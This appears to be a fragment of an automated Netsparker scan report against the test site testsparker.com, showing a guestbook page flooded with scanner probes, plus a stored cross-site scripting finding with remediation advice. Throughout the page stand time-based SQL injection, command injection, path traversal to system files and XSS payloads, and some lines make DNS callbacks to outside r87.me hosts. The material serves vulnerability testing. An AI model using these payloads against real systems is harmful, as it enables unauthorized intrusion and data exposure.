http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ 1;SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ &ping -c 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ ';SELECT pg_sleep(25)-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:47 AM +

+

+ '&ping -c 25 127.0.0.1 &' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ 1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ "&ping -c 25 127.0.0.1 &" +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ 1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || ' +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:46 AM +

+

+ ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ & ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ ((select sleep(25)))a-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:45 AM +

+

+ '& ping -n 25 127.0.0.1 & +

+
+

/../../../../../../../../../../proc/self/fd/2

+

+ 8/23/2017 8:06:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ -1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ "& ping -n 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:43 AM +

+

+ ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

/../../../../../../../../../../windows/iis6.log

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

//r87.com/?0x003DBA

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

....//....//....//....//....//....//....//....//....//....//....//windows\win.ini

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

//r87.com/?0x003DB9

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

c:\windows\win.ini

+

+ 8/23/2017 8:06:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:42 AM +

+

+ &expr 268409241 - 2 & +

+
+

/../../../../../../../../../../windows/win.iniďż˝.aspx

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

file:/windows/win.ini

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.ini

+

+ 8/23/2017 8:06:42 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ '&expr 268409241 - 2 &' +

+
+

/../../../../../../../../../../web.config

+

+ 8/23/2017 8:06:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ "&expr 268409241 - 2 &" +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:41 AM +

+

+ syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ SET /A 0xFFF9999-2 +

+
+

[ns](javascript:netsparker(0x003D91);)

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

'"@-->

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:40 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ 1)) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ ')) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:37 AM +

+

+ ') WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:37 AM +

+

+ +

+
+

'+netsparker(0x003D8D)+'

+

+ 8/23/2017 8:06:37 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

netsparker(0x003D8B);

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

netsparker(0x003D89)

+

+ 8/23/2017 8:06:36 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:35 AM +

+

+ SET /A 0xFFF9999-2 & +

+
+

ping -c 25 127.0.0.1

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

',netsparker(0x003D87),'

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

ping -n 25 127.0.0.1

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

ping -c 25 127.0.0.1 &

+

+ 8/23/2017 8:06:35 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:35 AM +

+

+ 1) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:34 AM +

+

+ WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:34 AM +

+

+ 1 WAITFOR DELAY '0:0:25'-- +

+
+

\';netsparker(0x003D85);///

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

c%3a%5cboot.ini

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

&ping -c 25 127.0.0.1 &

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

file%3a%2fboot.ini

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

'&ping -c 25 127.0.0.1 &'

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

"&ping -c 25 127.0.0.1 &"

+

+ 8/23/2017 8:06:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:33 AM +

+

+ & SET /A 0xFFF9999-2 & +

+
+

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

"+netsparker(0x003D83)+"

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

c:\boot.ini

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

file:/boot.ini

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:32 AM +

+

+ '& SET /A 0xFFF9999-2 & +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:06:32 AM +

+

+ +

+
+

/../../../../../../../../../../boot.iniďż˝.aspx

+

+ 8/23/2017 8:06:31 AM +

+

+ +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:06:31 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:29 AM +

+

+ "& SET /A 0xFFF9999-2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:29 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:29 AM +

+

+ ' OR 1=1 OR '1'='1 +

+
+

'+netsparker(0x003D81)+'

+

+ 8/23/2017 8:06:29 AM +

+

+ +

+
+

& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:06:29 AM +

+

+ +

+
+

*/netsparker(0x003D7F);/*

+

+ 8/23/2017 8:06:29 AM +

+

+ +

+
+

'& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:06:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:06:28 AM +

+

+ OR X='ss +

+
+

"& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:06:28 AM +

+

+ +

+
+ + + +
12
+
+ + +
+
+ + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud identified stored cross-site scripting, and confirmed this vulnerability by analyzing the execution of injected JavaScript.

Stored XSS allows an attacker to execute dynamic scripts (JavaScript, VBScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly, to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/JavaScript/VBScript within the browser.

"Stored" means that the attack will be stored in the backend system. In normal XSS attacks, an attacker needs to e-mail the victim, but in a stored XSS an attacker can just execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.

]]>
+ Stored XSS is a dangerous issue that has many exploitation vectors, some of which include:
  • User's session-sensitive information, such as cookies, can be stolen.
  • XSS can enable client-side worms, which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.
]]>
+ + +

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a whitelist. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured whitelist libraries available for many different environments; good examples of these include the OWASP Reform and Microsoft Anti cross-site scripting libraries.

]]>
+ ]]> + ]]> + +
+ + http://testsparker.com/GuestbookList.aspx?hTTp://r87.com/n + PermanentXss + Stored Cross-site Scripting + Important + 100 + True + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + GET + + + + + + + 200 + 2653,4032 + + + + + Bitcoin Web Site + + + + +
+
+ + + +
+ + + + +
+ + + + +
+ +
+
+ + + + +

Last Comments

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

http://www.example.com

+

+ 8/23/2017 8:09:37 AM +

+

+ +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));// +

+
+

Smith

+

+ 8/23/2017 8:09:37 AM +

+

+ ping -n 25 127.0.0.1 & +

+
+

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

+

+ 8/23/2017 8:09:37 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ & ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ ';expr 268409241 - 2;' +

+
+

c:\windows\win.ini

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ '& ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ 1) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:35 AM +

+

+ gethostbyname(trim('o010_rdnxupd9q5ji7xvvbcaicpnypm8chfpjuen'.'ecc.r87.me')); +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ "& ping -n 25 127.0.0.1 & +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:34 AM +

+

+ gethostbyname(trim('o010_rdnxuq8bbsk37pdde8ccpiocscf2k5j-fid'.'tle.r87.me')) +

+
+

Smith

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.iniďż˝.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ ";expr 268409241 - 2;" +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ WAITFOR DELAY '0:0:25'-- +

+
+

file:/windows/win.ini

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.ini

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ 1 WAITFOR DELAY '0:0:25'-- +

+
+

/../../../../../../../../../../web.config

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

c%3a%5cboot.ini

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

hTTp://r87.com/n

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ SET /A 0xFFF9999-2 +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

file%3a%2fboot.ini

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ ' WAITFOR DELAY '0:0:25'-- +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:26 AM +

+

+ SET /A 0xFFF9999-2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ & SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ '& SET /A 0xFFF9999-2 & +

+
+

c:\boot.ini

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ "& SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

file:/boot.ini

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

1/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

/../../../../../../../../../../boot.iniďż˝.aspx

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

//r87.com/?0x002AB8

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

//r87.com/?0x002AB7

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

[ns](javascript:netsparker(0x002A8F); "nsmd")

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

'"@-->

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

ping -w 25 127.0.0.1

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -n 25 127.0.0.1

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

'+netsparker(0x002A8B)+'

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

netsparker(0x002A89);

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

netsparker(0x002A87)

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

&ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

'&ping -w 25 127.0.0.1 &'

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

',netsparker(0x002A85),'

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

\';netsparker(0x002A83);///

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

"&ping -w 25 127.0.0.1 &"

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

"+netsparker(0x002A81)+"

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'+netsparker(0x002A7F)+'

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

*/netsparker(0x002A7D);/*

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

body{x:expression(netsparker(0x002A7B))}

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

"& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

|expr${IFS}268409241${IFS}-${IFS}2

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

expr 268409241 - 2

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

n;ns:expression(netsparker(0x002A79));

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

expr 268409241 - 2;

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+' +

+
+

1;expr 268409241 - 2;x

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

+

+ 8/23/2017 8:08:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||' +

+
+

http://www.example.com

